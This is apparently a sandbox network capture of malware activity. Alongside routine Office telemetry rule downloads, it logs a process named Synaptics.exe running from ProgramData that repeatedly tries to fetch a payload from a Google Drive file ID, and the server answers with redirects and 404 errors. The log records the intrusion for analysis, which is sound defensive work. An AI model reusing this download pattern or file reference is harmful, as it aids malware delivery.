2024-12-05 23:16:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:17 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 715419d5-801e-0078-38c7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231617Z-1746fd949bdhk6hphC1EWRaw3c000000030g00000000ufa8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:17 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49983	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:17 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:17 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6baa9d1a-801e-0048-02ce-45f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231617Z-1746fd949bdtlp5chC1EWRq1v4000000039g00000000fgp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:17 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49991	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:18 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-5QX_2CvUza3SmiLoZxpKmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49990	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:18 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:19 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:19 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4ViAzcGMt6F6x_YGbFwKPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC7d2_3ZGJoLjXuIJTi3HK7GWm9wAEEg1PCcGyAK0lUqYmCzrbD_tD34lMo9zOU2z3--RovD0XU3SA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:19 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:16:19 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 54 5f 47 4c 72 48 6a 52 48 52 67 39 68 4f 72 56 51 36 6d 63 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="AT_GLrHjRHRg9hOrVQ6mcA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:16:19 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49988	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:18 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-QHQOUvaoqyvNrDHEP5LfQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49989	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:18 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:19 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:19 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-27Y-zeu-HbiEt1MZbYPZMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC6etOcVPARGavMclFhy_2zM43vDn03YavLuB2inaEhsFdNg9pprO_dbGT92wh66DBNnN7MMW_UxSA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:19 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:16:19 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 77 67 53 52 6c 4c 4f 66 30 4d 4b 55 32 63 54 68 4a 63 43 38 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="mwgSRlLOf0MKU2cThJcC8g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:16:19 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49992	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:19 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231619Z-1746fd949bdjzh7thC1EWR3g6400000003g0000000002qu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49993	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:19 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4da954f1-f01e-003f-58cd-45d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231619Z-1746fd949bd7wvgbhC1EWR0rgs00000003e0000000009nf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49995	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:19 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9b021dfd-501e-0047-60c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231619Z-1746fd949bd2cq7chC1EWRnx9g000000031g000000007b1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49996	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:19 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 358c4d8b-d01e-0065-09bf-46b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231620Z-1746fd949bdnq7x2hC1EWRpxr000000003a000000000156b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O 